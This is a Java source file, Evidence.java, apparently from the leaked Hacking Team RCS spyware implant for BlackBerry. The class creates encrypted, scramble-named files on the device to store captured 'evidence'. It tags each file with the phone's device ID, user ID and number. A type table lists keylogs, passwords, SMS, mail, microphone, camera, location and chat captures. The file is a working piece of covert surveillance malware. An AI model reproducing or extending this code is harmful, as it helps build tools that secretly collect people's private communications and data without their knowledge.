hackedteam/core-blackberry

View on GitHub
RCSBlackBerry/src/blackberry/evidence/Evidence.java

Summary

Maintainability
D
2 days
Test Coverage
//#preprocess
/* *************************************************
 * Copyright (c) 2010 - 2010
 * HT srl,   All rights reserved.
 * Project      : RCS, RCSBlackBerry_lib
 * File         : Log.java
 * Created      : 26-mar-2010
 * *************************************************/
package blackberry.evidence;

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Date;
import java.util.Vector;

import javax.microedition.io.Connector;
import javax.microedition.io.file.FileConnection;

import net.rim.device.api.util.DataBuffer;
import blackberry.Device;
import blackberry.Status;
import blackberry.config.Globals;
import blackberry.config.Keys;
import blackberry.crypto.Encryption;
import blackberry.debug.Check;
import blackberry.debug.Debug;
import blackberry.debug.DebugLevel;
import blackberry.fs.Path;
import blackberry.utils.DateTime;
import blackberry.utils.Utils;
import blackberry.utils.WChar;

/*  LOG FORMAT
 *
 */
/**
 * The Class Evidence (formerly known as Log.)
 */
public final class Evidence {
    private static final int E_VERSION_01 = 2008121901;
    /*
     * Tipi di log (quelli SOLO per mobile DEVONO partire da 0xAA00
     */

    public static int E_DELIMITER = 0xABADC0DE;

    private static final long MIN_AVAILABLE_SIZE = 10 * 1024;

    //#ifdef DEBUG
    private static Debug debug = new Debug("Evidence", DebugLevel.VERBOSE);

    //#endif

    //boolean firstSpace = true;

    boolean enoughSpace = true;

    Date timestamp;
    String logName;

    String fileName;
    FileConnection fconn = null;

    DataOutputStream os = null;
    Encryption encryption;
    EvidenceCollector evidenceCollector;

    EvidenceDescription evidenceDescription;
    Device device;

    int evidenceId;

    int progressive;

    private byte[] aesKey;
    private byte[] encData;

    private int typeEvidenceId;

    /**
     * Instantiates a new evidence.
     */
    private Evidence() {
        evidenceCollector = EvidenceCollector.getInstance();
        device = Device.getInstance();

        progressive = -1;
        // timestamp = new Date();
    }

    /**
     * Instantiates a new log.
     * 
     * @param typeEvidenceId
     *            the type evidence id
     * @param aesKey
     *            the aes key
     */
    private Evidence(final int typeEvidenceId, final byte[] aesKey) {
        this();
        //#ifdef DBC
        Check.requires(aesKey != null, "aesKey null"); //$NON-NLS-1$
        //#endif

        // agent = agent_;
        this.typeEvidenceId = typeEvidenceId;
        this.aesKey = aesKey;

        encryption = new Encryption(aesKey);
        //#ifdef DBC
        Check.ensures(encryption != null, "encryption null"); //$NON-NLS-1$
        //#endif
    }

    /**
     * Instantiates a new evidence.
     * 
     * @param typeEvidenceId
     *            the type evidence id
     */
    public Evidence(final int typeEvidenceId) {
        this(typeEvidenceId, Keys.getInstance().getLogKey());
    }

    public static String memoTypeEvidence(final int typeId) {
        switch (typeId) {
            case 0xFFFF:
                return "NON";
            case 0x0000:
                return "FON";
            case 0x0001:
                return "FCA";
            case 0x0040:
                return "KEY";
            case 0x0100:
                return "PRN";
            case 0xB9B9:
                return "SNP";
            case 0xD1D1:
                return "UPL";
            case 0xD0D0:
                return "DOW";
            case 0x0140:
                return "CAL";
            case 0x0141:
                return "SKY";
            case 0x0142:
                return "GTA";
            case 0x0143:
                return "YMS";
            case 0x0144:
                return "MSN";
            case 0x0145:
                return "MOB";
            case 0x0180:
                return "URL";
            case 0xD9D9:
                return "CLP";
            case 0xFAFA:
                return "PWD";
            case 0xC2C2:
                return "MIC";
            case 0xC6C6:
                return "CHA";
            case 0xE9E9:
                return "CAM";
            case 0x0200:
                return "ADD";
            case 0x0201:
                return "CAL";
            case 0x0202:
                return "TSK";
            case 0x0210:
                return "MAI";
            case 0x0211:
                return "SMS";
            case 0x0212:
                return "MMS";
            case 0x0220:
                return "LOC";
            case 0x0230:
                return "CAL";
            case 0x0240:
                return "DEV";
            case 0x0241:
                return "INF";
            case 0x1011:
                return "APP";
            case 0x0300:
                return "SKI";
            case 0x1001:
                return "MAI";
            case 0x0213:
                return "SMS";
            case 0x1220:
                return "LOC";
            case 0xEDA1:
                return "FSS";

        }
        return "UNK";
    }

    /**
     * Chiude il file di log. Torna TRUE se il file e' stato chiuso con
     * successo, FALSE altrimenti. Se bRemove e' impostato a TRUE il file viene
     * anche cancellato da disco e rimosso dalla coda. Questa funzione NON va
     * chiamata per i markup perche' la WriteMarkup() e la ReadMarkup() chiudono
     * automaticamente l'handle.
     * 
     * @return true, if successful
     */
    public synchronized boolean close() {
        boolean ret = true;
        encData = null;

        if (os != null) {
            try {
                os.close();
            } catch (final IOException e) {
                ret = false;
            }
        }

        if (fconn != null) {
            try {
                fconn.close();
            } catch (final IOException e) {
                ret = false;
            }
        }

        os = null;
        fconn = null;
        return ret;
    }

    public synchronized boolean createEvidence() {
        return createEvidence(null, false);
    }

    public boolean createEvidence(final byte[] additionalData) {
        return createEvidence(additionalData, false);
    }

    /**
     * Questa funzione crea un file di log e lascia l'handle aperto. Il file
     * viene creato con un nome casuale, la chiamata scrive l'header nel file e
     * poi i dati addizionali se ce ne sono. LogType e' il tipo di log che
     * stiamo scrivendo, pAdditionalData e' un puntatore agli eventuali
     * additional data e uAdditionalLen e la lunghezza dei dati addizionali da
     * scrivere nell'header. Il parametro facoltativo bStoreToMMC se settato a
     * TRUE fa in modo che il log venga salvato nella prima MMC disponibile, se
     * non c'e' la chiama fallisce. La funzione torna TRUE se va a buon fine,
     * FALSE altrimenti.
     * 
     * @param additionalData
     *            the additional data
     * @param force
     * @return true, if successful
     */
    public synchronized boolean createEvidence(final byte[] additionalData,
            boolean forced) {
        //#ifdef DEBUG
        debug.trace("createLog evidenceType: " + typeEvidenceId);
        //#endif

        //#ifdef DBC
        Check.requires(os == null && fconn == null,
                "createLog: not previously closed");
        //#endif

        timestamp = new Date();

        int additionalLen = 0;

        if (additionalData != null) {
            additionalLen = additionalData.length;
        }

        if (!forced) {
            enoughSpace = enoughSpace();
            if (!enoughSpace) {
                //#ifdef DEBUG
                debug.trace("createEvidence, no space");
                //#endif
                return false;
            }
        }

        final Vector tuple = evidenceCollector.makeNewName(this,
                memoTypeEvidence(typeEvidenceId), false);
        //#ifdef DBC
        Check.asserts(tuple.size() == 5, "Wrong tuple size");
        //#endif

        progressive = ((Integer) tuple.elementAt(0)).intValue();
        final String basePath = (String) tuple.elementAt(1);
        final String blockDir = (String) tuple.elementAt(2);
        final String encName = (String) tuple.elementAt(3);
        final String plainFileName = (String) tuple.elementAt(4);

        final String dir = basePath + blockDir + "/";
        final boolean ret = Path.createDirectory(dir, true);

        if (!ret) {
            //#ifdef DEBUG
            debug.error("Dir not created: " + dir);
            //#endif
            return false;
        }

        fileName = dir + encName;
        //#ifdef DBC
        Check.asserts(fileName != null, "null fileName");
        Check.asserts(!fileName.endsWith(EvidenceCollector.LOG_EXTENSION
                .toUpperCase()), "file not scrambled");
        //#endif

        //#ifdef DEBUG
        debug.trace("createLog fileName:" + fileName);
        //#endif
        try {
            fconn = (FileConnection) Connector.open("file://" + fileName);

            if (fconn.exists()) {
                close();
                //#ifdef DEBUG
                debug.fatal("It should not exist:" + fileName);
                //#endif

                return false;
            }

            //#ifdef DEBUG
            debug.info("Created: " + plainFileName);
            //#endif

            final byte[] plainBuffer = makeDescription(additionalData,
                    typeEvidenceId);
            //#ifdef DBC
            Check.asserts(plainBuffer.length >= 32 + additionalLen,
                    "Short plainBuffer");
            //#endif

            fconn.create();
            os = fconn.openDataOutputStream();

            final byte[] encBuffer = encryption.encryptData(plainBuffer);
            //#ifdef DBC
            Check.asserts(encBuffer.length == Encryption
                    .getNextMultiple(plainBuffer.length), "Wrong encBuffer");
            //#endif

            // scriviamo la dimensione dell'header paddato
            os.write(Utils.intToByteArray(plainBuffer.length));
            // scrittura dell'header cifrato
            os.write(encBuffer);
            os.flush();

            //#ifdef DBC
            Check.asserts(fconn.fileSize() == encBuffer.length + 4,
                    "Wrong filesize");
            //#endif

            //#ifdef DEBUG
            debug.trace("additionalData.length: " + plainBuffer.length);
            debug.trace("encBuffer.length: " + encBuffer.length);
            //#endif

        } catch (final IOException ex) {
            //#ifdef DEBUG
            debug.error("file: " + plainFileName + " ex:" + ex);
            //#endif
            return false;
        }

        //#ifdef DBC
        Check.ensures(os != null, "null os");
        //#endif

        return true;
    }

    private boolean enoughSpace() {
        long free = 0;
        free = Path.freeSpace(Path.USER);

        Globals globals = Status.self().getGlobals();
        long minQuota = MIN_AVAILABLE_SIZE;
        if (globals != null) {
            minQuota = globals.getQuotaMin();
        }

        if (minQuota >= 0 && free < minQuota) {
            //#ifdef DEBUG
            debug.trace("not enoughSpace: " + free + " < " + minQuota);
            //#endif
            Status.self().setOverQuota(free, true);
            return false;
        } else {
            //#ifdef DEBUG
            debug.trace("enoughSpace: " + free + " > " + minQuota);
            //#endif
            Status.self().setOverQuota(free, false);
            return true;
        }
    }

    public synchronized byte[] plainEvidence(final byte[] additionalData,
            final int logType, final byte[] data) {

        //final byte[] encData = encryption.encryptData(data, 0);

        int additionalLen = 0;

        if (additionalData != null) {
            additionalLen = additionalData.length;
        }

        final byte[] plainBuffer = makeDescription(additionalData, logType);
        //#ifdef DBC
        Check.asserts(plainBuffer.length >= 32 + additionalLen,
                "Short plainBuffer");
        //#endif

        // buffer completo
        byte[] buffer = new byte[additionalData.length + data.length + 8];
        DataBuffer databuffer = new DataBuffer(buffer, 0, buffer.length, false);

        // scriviamo la dimensione dell'header paddato
        databuffer.writeInt(plainBuffer.length);
        // scrittura dell'header cifrato
        databuffer.write(additionalData);

        // scrivo il contenuto
        databuffer.writeInt(data.length);
        databuffer.write(data);

        return buffer;
    }

    public boolean appendEvidence(final byte[] data) {
        return writeEvidence(data, 0);
    }

    public boolean writeEvidence(final byte[] data) {
        return writeEvidence(data, 0);
    }

    /**
     * Questa funzione prende i byte puntati da pByte, li cifra e li scrive nel
     * file di log creato con CreateLog(). La funzione torna TRUE se va a buon
     * fine, FALSE altrimenti.
     * 
     * @param data
     *            the data
     * @return true, if successful
     */
    public synchronized boolean writeEvidence(final byte[] data, int offset) {
        if (os == null) {
            //#ifdef DEBUG
            debug.error("os null");
            //#endif
            return false;
        }

        if (fconn == null) {
            //#ifdef DEBUG
            debug.error("fconn null");
            //#endif
            return false;
        }

        if (Status.self().wantLight()) {
            // green
            Debug.ledFlash(Debug.COLOR_GREEN_LIGHT);
        }

        encData = encryption.encryptData(data, offset);
        //#ifdef DEBUG
        debug.trace("writeEvidence encdata: " + encData.length);
        //#endif

        try {
            os.write(Utils.intToByteArray(data.length - offset));
            os.write(encData);
            os.flush();

        } catch (final IOException e) {
            //#ifdef DEBUG
            debug.error("Error writing file: " + e);
            //#endif

            close();
            try {
                fconn.delete();
            } catch (IOException ex) {
                //#ifdef DEBUG
                debug.error("writeEvidence, deleting due to error: " + ex);
                //#endif
            }
            fconn = null;
            return false;
        }

        return true;
    }

    public synchronized boolean writeEvidence(DataInputStream inputStream, int size) {
        if (os == null) {
            //#ifdef DEBUG
            debug.error("os null");
            //#endif
            return false;
        }

        try {
            os.write(Utils.intToByteArray(size));
            encryption.encryptData(inputStream, os);
        } catch (IOException e) {
            //#ifdef DEBUG
            debug.error(e);
            debug.error("writeEvidence");
            //#endif
            return false;
        }finally{
            if (os != null) {
                try {
                    os.close();
                } catch (final IOException e) {
                    return false;
                }
            }
        }
        
        return true;
    }

    /**
     * Write logs.
     * 
     * @param bytelist
     *            the bytelist
     * @return true, if successful
     */
    public boolean writeEvidences(final Vector bytelist) {
        int totalLen = 0;
        for (int i = 0; i < bytelist.size(); i++) {
            final byte[] token = (byte[]) bytelist.elementAt(i);
            totalLen += token.length;
        }

        final int offset = 0;
        final byte[] buffer = new byte[totalLen];
        final DataBuffer databuffer = new DataBuffer(buffer, 0, totalLen, false);

        for (int i = 0; i < bytelist.size(); i++) {
            final byte[] token = (byte[]) bytelist.elementAt(i);
            databuffer.write(token);
        }

        //#ifdef DEBUG
        debug.trace("len: " + buffer.length);
        //#endif

        return writeEvidence(buffer);
    }

    public byte[] getEncData() {
        return encData;
    }

    public DataOutputStream getOutputStream() {
        return os;
    }

    // pubblico solo per fare i test
    /**
     * Make description.
     * 
     * @param additionalData
     *            the additional data
     * @return the byte[]
     */
    public byte[] makeDescription(final byte[] additionalData, final int logType) {

        if (timestamp == null) {
            timestamp = new Date();
        }

        int additionalLen = 0;

        if (additionalData != null) {
            additionalLen = additionalData.length;
        }

        final DateTime datetime = new DateTime(timestamp);

        evidenceDescription = new EvidenceDescription();
        evidenceDescription.version = E_VERSION_01;
        evidenceDescription.logType = logType;
        evidenceDescription.hTimeStamp = datetime.hiDateTime();
        evidenceDescription.lTimeStamp = datetime.lowDateTime();
        evidenceDescription.additionalData = additionalLen;
        evidenceDescription.deviceIdLen = device.getWDeviceId().length;
        evidenceDescription.userIdLen = device.getWUserId().length;
        evidenceDescription.sourceIdLen = device.getWPhoneNumber().length;

        final byte[] baseHeader = evidenceDescription.getBytes();
        //#ifdef DBC
        Check.asserts(baseHeader.length == evidenceDescription.length,
                "Wrong log len");
        //#endif

        final int headerLen = baseHeader.length
                + evidenceDescription.additionalData
                + evidenceDescription.deviceIdLen
                + evidenceDescription.userIdLen
                + evidenceDescription.sourceIdLen;
        final byte[] plainBuffer = new byte[Encryption
                .getNextMultiple(headerLen)];

        final DataBuffer databuffer = new DataBuffer(plainBuffer, 0,
                plainBuffer.length, false);
        databuffer.write(baseHeader);
        databuffer.write(device.getWDeviceId());
        databuffer.write(device.getWUserId());
        databuffer.write(device.getWPhoneNumber());

        if (additionalLen > 0) {
            databuffer.write(additionalData);
        }

        return plainBuffer;
    }

    public static void info(final String message) {
        info(message, false);
    }

    public static void info(final String message, boolean force) {
        try {
            final Evidence logInfo = new Evidence(EvidenceType.INFO);
            logInfo.createEvidence(null, force);
            logInfo.writeEvidence(WChar.getBytes(message, true));
            logInfo.close();

        } catch (final Exception ex) {
            //#ifdef DEBUG
            debug.error(ex);
            //#endif
        }
    }

    public synchronized void atomicWriteOnce(byte[] additionalData,
            byte[] content) {
        createEvidence(additionalData, false);
        if (!writeEvidence(content)) {

        }
        close();
    }

    public synchronized void atomicWriteOnce(Vector bytelist) {
        createEvidence(null, false);
        writeEvidences(bytelist);
        close();
    }

    public synchronized void atomicWriteOnce(byte[] plain) {
        createEvidence(null, false);
        writeEvidence(plain);
        close();
    }

    public synchronized void atomicWriteOnce(String message) {
        createEvidence(null, false);
        writeEvidence(WChar.getBytes(message, true));
        close();
    }

    private void atomicWriteOnce(String message, boolean force) {
        createEvidence(null, force);
        writeEvidence(WChar.getBytes(message, true));
        close();
    }
   

}